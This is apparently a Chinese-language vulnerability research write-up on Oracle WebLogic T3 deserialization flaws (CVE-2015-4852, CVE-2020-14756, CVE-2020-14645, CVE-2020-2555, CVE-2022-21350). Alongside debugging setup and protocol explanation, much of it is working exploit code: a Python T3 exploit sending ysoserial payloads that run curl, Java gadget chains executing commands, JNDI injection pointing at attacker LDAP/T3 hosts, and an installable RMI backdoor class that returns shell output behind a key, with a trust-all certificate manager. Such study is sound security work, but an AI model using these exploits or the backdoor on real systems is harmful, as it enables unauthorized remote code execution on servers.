Weblogic t3协议初探
漏洞调试环境搭建
我选择本机搭建
JDK安装包下载地址:https://www.oracle.com/technetwork/java/javase/archive-139210.html Weblogic安装包下载地址:https://www.oracle.com/technetwork/middleware/weblogic/downloads/wls-for-dev-1703574.html
选择jdk
马上启动
创建域
默认就好
配置debug
set JAVA_OPTIONS=-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,address=9999,server=y,suspend=n
-20221021174801204.(null))
IDEA打开
D:\weblogic\wlserver_10.3
加入依赖
配置debug
就可以进行断点了
全局搜索WLSServletAdapter类,双击shift
这里打断点
访问 http://localhost:7001/wls-wsat/CoordinatorPortType
成功拦截
此时远程debug已经搭建完成
T3协议简介
ServletSessionRuntimeMBean在 modules/com.oracle.weblogic.management.base.jar
weblogic.management.runtime.RuntimeMBean在modules/com.oracle.weblogic.management.core.api.jar
T3 协议是 Weblogic RMI 调用时的通信协议
RMI 即远程方法调用,我们可以远程调用另一台 JVM虚拟机中对象上的方法,且数据传输过程中是序列化进行传输的
当RMI Server 启动的时候端口是被随机分配的,但是我们的RMI Registry端口是知道的
首先我们的RMI Client 会远程连接RMI Registry(默认端口1099),然后会在Registry 寻找名字为Test的对象 (假设此时客户端要调用Test对象中的某个方法),Registry会寻找对应名字的远程对象引用,并且序列化后进行返回(数据内容就是远程对象的地址,这里返回的对象就是前文提到的存根stub),给rmiserver,客户端在接受到之后首先会在本机中的classpath进行查找,如果没有找到则说明是远程对象,客户端就会与远程地址进行tcp连接。
JRMP ,但是也支持开发其他的协议来优化 RMI 的传输,这里的 Weblogic 的 T3 协议就是其优化版本
- 客户端通过远程连接 Registry 获取存根(Stub),存根(Stub)中包含了远程对象的定位信息,如Socket端口、服务端主机地址等等,并实现了远程调用过程中具体的底层网络通信细节。
- 由于存根(Stub) 是客户端的代理类,所以客户端可以调用Stub上的方法
- Stub远程连接到服务器,提交对应的参数
- 骨架(Skeleton) 收到数据并对其进行反序列化,然后将发送给我们的Server
- Server执行之后将结果进行打包,传输给Client
CVE-2015-4852
Exp
from os import popen
import struct # 负责大小端的转换
import subprocess
from sys import stdout
import socket
import re
import binascii
def generatePayload(gadget,cmd):
YSO_PATH = "F:\网络安全\ysoserial-master-8eb5cbfbf6-1.jar"
popen = subprocess.Popen(['java','-jar',YSO_PATH,gadget,cmd],stdout=subprocess.PIPE)
return popen.stdout.read()
def T3Exploit(ip,port,payload):
sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((ip,port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
sock.sendall(handshake.encode())
data = sock.recv(1024)
compile = re.compile("HELO:(.*).0.false")
match = compile.findall(data.decode())
if match:
print("Weblogic: "+"".join(match))
else:
print("Not Weblogic")
return
header = binascii.a2b_hex(b"00000000")
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
desflag = binascii.a2b_hex(b"fe010000")
payload = header + t3header +desflag+ payload
payload = struct.pack(">I",len(payload)) + payload[4:]
sock.send(payload)
if __name__ == "__main__":
ip = "127.0.0.1"
port = 7001
gadget = "CommonsCollections1"
cmd = "curl http://127.0.0.1:8000"
payload = generatePayload(gadget,cmd)
T3Exploit(ip,port,payload)
首先我们来看看反序列化怎么走的
我们可以看到整个流
整个脚本先发送
t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n
然后weblogic会回应HELLO和自身版本
【payload长度】【T3协议头】【反序列化标志】【payload】
通常在反序列化数据包中,ac ed 00 05
是反序列化标志,在 T3 协议中由于每个反序列化数据包前面都有 fe 01 00 00
,所以这里的标志相当于就是 fe 01 00 00 ac ed 00 05
weblogic自带cc链
所以可以用cc1去打因为是java7的
来debug一下这个流程怎么走的
漏洞点在 weblogic.rjvm.InboundMsgAbbrev#readObject 中
接受传过来的数据
看到子类 x ,该子类继承自是 ObjectInputStream ,同时重写了 resolveClass 方法,resolveClass方法是ObjectInputStream.readObject()方法执行时必定会进行调用的一个方法,其作用为类的序列化描述符加工成该类的Class对象。
但是这个方法里还是调用了ObjectInputStream.resolveClass方法,由此就反序列化传过来序列化数据,整个调用链就这么简单
接下来看看weblogic包里都有哪些cc链
可以发现weblogic他是自带cc链的
CVE-2020-14756
3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0
在coherence包中 com.tangosol.io.ExternalizableLite
存在反序列化接口
其借助com.tangosol.io.ExternalizableLite
实现序列化反序列化逻辑
然后造成Mvel
表达式注入
这里学到一个新的反序列化的点
Externalizable接口extends Serializable接口,而且在其基础上增加了两个方法:writeExternal()和readExternal()。这两个方法会在序列化和反序列化还原的过程中被自动调用,以便执行一些特殊的操作。
JAVA 对象序列化(二)--Externalizable - chenfei0801 - 博客园
AttributeHolder实现了Externalizable接口
整个调用链如下
com.tangosol.coherence.servlet.AttributeHolder::readExternal()
com.tangosol.util.ExternalizableHelper::readObjectInternal()
com.tangosol.util.ExternalizableHelper::readExternalizableLite()
com.tangosol.util.aggregator.TopNAggregator::readExterna()
com.tangosol.util.aggregator.TopNAggregator::SortedBag()
java.util.TreeMap::put()
com.tangosol.coherence.rest.util.extractor.AbstractExtractor::compare()
com.tangosol.coherence.rest.util.extractor::MvelExtractor()
MVEL.executeExpression....
相关exp
MvelExtractor extractor = new MvelExtractor("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");");
MvelExtractor extractor2 = new MvelExtractor("");
try {
SortedBag sortedBag = new TopNAggregator.PartialResult(extractor2, 2);
AttributeHolder attributeHolder = new AttributeHolder();
sortedBag.add(1);
Common.setSuperFieldValue(sortedBag,"m_comparator",extractor);
Method setInternalValue = attributeHolder.getClass().getDeclaredMethod("setInternalValue", Object.class);
setInternalValue.setAccessible(true);
setInternalValue.invoke(attributeHolder, sortedBag);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(attributeHolder);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
https://www.anquanke.com/post/id/231436#h3-4
https://r17a-17.github.io/2021/11/22/Java%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5/
https://y4er.com/posts/weblogic-cve-2020-14756/#%E5%88%86%E6%9E%90
CVE-2020-14645
10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0
也是在coherence包里 jndi注入
和cc4挺像的
PriorityQueue::heapify()
PriorityQueue::siftDown()
if this.comparator != null
PriorityQueue::siftDownUsingComparator()
ExtractorComparator::compare()
UniversalExtractor::extract()
UniversalExtractor::extractComplex()
JdbcRowSetImpl.....
exp
UniversalExtractor extractor = new UniversalExtractor("getDatabaseMetaData()", null, 1);
final ExtractorComparator comparator = new ExtractorComparator(extractor);
JdbcRowSetImpl rowSet = new JdbcRowSetImpl();
rowSet.setDataSourceName("ldap://"+dns+"/xxx");
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
Object[] q = new Object[]{rowSet, rowSet};
SerTools.setFieldValue(queue, "queue", q);
SerTools.setFieldValue(queue, "size", 2);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
CVE-2020-2555
我这里用的weblogic 12.2.1.4
该漏洞位于Oracle Coherence
组件中。该组件是业内领先的用于解决集群应用程序数据的缓存的解决方案,其默认集成在Weblogic12c及以上版本中。
该漏洞提出了一条新的反序列化gadget,未经身份验证的攻击者通过精心构造的T3请求触发可以反序列化gadget,最终造成远程命令执行的效果。
C:\weblogic\weblogic12.2.1.4\coherence\lib
BadAttributeValueExpException.readObject()
com.tangosol.util.filter.LimitFilter.toString()
com.tangosol.util.extractor.ChainedExtractor.extract()
com.tangosol.util.extractor.ReflectionExtractor().extract()
这个链子还是挺短的
跟进分析一下
发现extract()的是接口 ValueExtractor 的方法
查看这个接口的实现类,发现ReflectionExtractor,通过反射将类进行实例化,当属性m_methodPrev为空时,查找m_sMethod方法并进行invoke实例化
看到这里,相信分析过yso上的cc链应该很熟悉了,我这里放一张图
是不是很相似,由此,我们需要找到类似ChainedTransformer类一样功能的类,刚好有一个实现类叫
ChainedExtractor,和ChainedTransformer一样的功能
由此链子就通了,开始构造
ReflectionExtractor[] extractors = {
new ReflectionExtractor(
"getMethod",
new Object[]{"getRuntime", new Class[0]}
),
new ReflectionExtractor(
"invoke",
new Object[]{null, new Object[0]}
),
new ReflectionExtractor(
"exec",
new Object[]{new String[]{"calc"}}
),
};
ChainedExtractor chainedExtractor = new ChainedExtractor(extractors);
LimitFilter limitFilter = new LimitFilter();
Common.setFieldValue(limitFilter,"m_comparator",chainedExtractor);
Common.setFieldValue(limitFilter,"m_oAnchorTop",Runtime.class);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Common.setFieldValue(badAttributeValueExpException,"val",limitFilter);
如何回显?
利用RMI/IIOP RCE回显
这篇文章讲的很清楚了
恶意rmi类的实现条件
1、类要实现RMI接口(只要是继承Remote的接口,因为要把自身绑定为Reference)
2、RMI接口(这里是ClusterMasterRemote)必须有返回String类型的方法,因为要返回RCE的输出结果
- 利用漏洞点调用ClassLoader的defineClass方法
- 写入类:defineClass在目标服务器运行返回我们构造的类(已经写好的RMI接口类)
- 绑定类:将RMI接口类绑定到目标服务器,也就是将我们构造的恶意类注册到rmi注册中心
- 攻击者本地远程调用方法获取回显结果
用ClusterMasterRemote 构造本恶意rmi类
ClusterMasterRemote接口是weblogic自带依赖包中接口,同时实现了 Remote 接口,所以只需要继承他即可把自身绑定为Reference
package fun.fireline.tools;
import weblogic.cluster.singleton.ClusterMasterRemote;
import javax.naming.Context;
import javax.naming.InitialContext;
import java.rmi.RemoteException;
public class EvalRMI implements ClusterMasterRemote {
public static void main(String[] args) {
try {
EvalRMI evalRMI = new EvalRMI();
if (args.length == 2 && args[0].equalsIgnoreCase("blind")) {
evalRMI.getServerLocation(args[1]);
} else if (args.length == 1) {
Context ctx = new InitialContext();
if (args[0].equalsIgnoreCase("install")) {
ctx.rebind("penson", evalRMI);
} else if (args[0].equalsIgnoreCase("uninstall")) {
ctx.unbind("penson");
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void setServerLocation(String s, String s1) throws RemoteException {
}
@Override
public String getServerLocation(String cmd) throws RemoteException {
if( cmd.startsWith("penson")) {
try {
cmd=cmd.substring(6);
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
Process process = Runtime.getRuntime().exec(cmds);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
return stringBuilder.toString();
} catch (Exception e) {
return e.getMessage();
}
}else{
return "need a key to rce";
}
}
}
然后需要用一个类似ClassLoader加载这个类
找到其子类的子类weblogic.utils.classloaders.ClasspathClassLoader
看到其父类
GenericClassLoader的defindCodeGenClass方法,这里通过Class.forName方法拿到我们需要的类
由此可以根据这个方法来构造加载恶意的rmi
构造回显链
ValueExtractor[] extractors = {
new ReflectionExtractor("getDeclaredConstructor", new Object[]{new Class[0]}),
new ReflectionExtractor("newInstance", new Object[]{new Object[0]}),
new ReflectionExtractor("defineCodeGenClass", new Object[]{ClassName, clsData,null}),
new ReflectionExtractor("getMethod", new Object[]{"main", new Class[]{String[].class}}),
new ReflectionExtractor("invoke", new Object[]{null, new Object[]{args}})
};
ChainedExtractor chainedExtractor = new ChainedExtractor(extractors);
LimitFilter limitFilter = new LimitFilter();
SerTools.setFieldValue(limitFilter,"m_comparator",chainedExtractor);
SerTools.setFieldValue(limitFilter,"m_oAnchorTop", ClasspathClassLoader.class);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
SerTools.setFieldValue(badAttributeValueExpException,"val",limitFilter);
注入之后如何连接?
用的weblogic自带的连接方式
下面的Environment类来自wlfullclient.jar,weblogic其他jar包也有这个类,容易搞混
为什么会有WeblogicTrustManager,如果目标是https,需要拿到信任
该类继承自
weblogic.security.SSL.TrustManager
import weblogic.jndi.Environment;
public class WeblogicTrustManager implements TrustManager {
@Override
public boolean certificateCallback(X509Certificate[] x509Certificates, int i) {
return true;
}
}
public static String converUrl(String host, String port,String model) {
if (model.contains("https")) {
return "t3s://" + host + ":" + port;
} else {
return "t3://" + host + ":" + port;
}
}
public static Context getInitialContext(String url) throws NamingException, FileNotFoundException {
Environment environment = new Environment();
environment.setProviderUrl(url);
environment.setEnableServerAffinity(false);
environment.setSSLClientTrustManager(new WeblogicTrustManager());
return environment.getInitialContext();
}
Context initialContext = getInitialContext(converUrl("ip", "port", "http"));
ClusterMasterRemote remoteCode = (ClusterMasterRemote) initialContext.lookup("penson");
拿到远程类的对象后,我们即可调用getServerLocation方法来获取命令执行回显的结果
参考:
https://xz.aliyun.com/t/7228#toc-0
https://paper.seebug.org/1442/
https://github.com/5up3rc/weblogic_cmd/
10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0
也是在coherence包里 jndi注入
和cc4挺像的
PriorityQueue::heapify()
PriorityQueue::siftDown()
if this.comparator != null
PriorityQueue::siftDownUsingComparator()
ExtractorComparator::compare()
UniversalExtractor::extract()
UniversalExtractor::extractComplex()
JdbcRowSetImpl.....
CVE-2022-21350
Weblogic 分析
this.attributes
是一个Map,实现类是C
oncurrentHashMap,获取wl_debug_session
的value,这里是AttributeWrapper
对象
m/2022/03/654/#122140
https://mp.weixin.qq.com/s/wfcIba5UKarBeeFxdJmhvg
https://xie.infoq.cn/article/fd9a9c7d7513f56086df90096
javax.management.BadAttributeValueExpException->readObject
weblogic.servlet.internal.session.FileSessionData->toString
weblogic.servlet.internal.session.FileSessionData->isDebuggingSession
weblogic.servlet.internal.session.FileSessionData->getAttribute
weblogic.servlet.internal.session.FileSessionData->getAttributeInternal
weblogic.servlet.internal.session.AttributeWrapperUtils->unwrapObject
weblogic.servlet.internal.session.AttributeWrapperUtils->unwrapEJBObjects
weblogic.ejb.container.internal.BusinessHandleImpl->getBusinessObject
weblogic.ejb20.internal.HomeHandleImpl->getEJBHome
javax.naming.InitialContext->lookup
调用jndi类
weblogic.jndi.WLInitialContextFactory,url的scheme在weblogic我们是用T3/IIOP
要有恶意的T3/IIOP server才能利用成功
weblogic所有类的所在的包
C:\weblogic\weblogic12.2.1.4\weblogic\inventory\Components\oracle.com.fasterxml.jackson.core.jackson.annotations\2.9.9.0.0\compDef.xml
String url="t3://"+dns+"/xx";
Name name = new LdapName("cn=x,dc=x");
HomeHandleImpl homeHandle = new HomeHandleImpl();
//设置jndiName
SerTools.setFieldValue(homeHandle,"jndiName",name);
//设置serverURL
SerTools.setFieldValue(homeHandle,"serverURL",url);
BusinessHandleImpl businessHandle = new BusinessHandleImpl();
//设置homeHandle
SerTools.setFieldValue(businessHandle,"homeHandle",homeHandle);
String attribute="weblogic/servlet/internal/AttributeWrapper.class";
String jarpath="com.oracle.weblogic.servlet.jar";
//找到com.oracle.weblogic.servlet.jar
Class<?> findclassAttribute = Findjar.findclass(jarpath, attribute);
Constructor<?> constructor = findclassAttribute.getConstructor(Object.class);
Object AttributeWrapper= constructor.newInstance(new Object());
SerTools.setFieldValue(AttributeWrapper,"isEJBObjectWrapped", true);
SerTools.setFieldValue(AttributeWrapper,"object",businessHandle);
String fileSessionData="weblogic/servlet/internal/session/FileSessionData.class";
Class<?> findclassfilesession = Findjar.findclass(jarpath, fileSessionData);
Object FileSessionData = findclassfilesession.getConstructor().newInstance();
Map map = new HashMap<>();
map.put("wl_debug_session", AttributeWrapper);
SerTools.setSuperFieldValue(FileSessionData,"attributes",map);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
SerTools.setFieldValue(badAttributeValueExpException,"val",FileSessionData);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(badAttributeValueExpException);
oos.close();
Exp
当我们写成ldap协议的地址,就会按照ldap协议请求加载远程数据。但是这里我们可控的是jndiName的字段类型是Name
Ldap的地址来源于scheme变量,只要我们控制scheme变量为我们恶意的Ldap地址,就可以进行常规的基于LDAP协议的JNDI注入。这里最关键的就是让name.get(0) == "ldap://xxxx.xxx.xx.xxx:1389/xxx"
javax.naming.CompoundName
javax.naming.CompositeName
com.sun.jndi.dns.DnsName
com.sun.jndi.toolkit.dir.HierarchicalName
com.sun.jndi.ldap.LdapName
javax.naming.ldap.LdapName
我们采取CompoundName类,这里有个缺点,搞不了rmi请求
String url="t3://10.211.55.9:7001/xx";//目标机器地址
Properties properties = new Properties();
Name compoundName = new CompoundName("ldap://192.168.2.1:1389/svtfjq", properties);
HomeHandleImpl homeHandle = new HomeHandleImpl();
//设置jndiName
Common.setFieldValue(homeHandle,"jndiName",compoundName);
//设置serverURL
Common.setFieldValue(homeHandle,"serverURL",url);
BusinessHandleImpl businessHandle = new BusinessHandleImpl();
//设置homeHandle
Common.setFieldValue(businessHandle,"homeHandle",homeHandle);
AttributeWrapperUtils attributeWrapperUtils = new AttributeWrapperUtils();
AttributeWrapper attributeWrapper = new AttributeWrapper(businessHandle);
Common.setFieldValue(attributeWrapper,"isEJBObjectWrapped", true);
FileSessionData fileSessionData = new FileSessionData();
Map map = new HashMap<>();
map.put("wl_debug_session", attributeWrapper);
Common.setSuperFieldValue(fileSessionData,"attributes",map);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Common.setFieldValue(badAttributeValueExpException,"val",fileSessionData);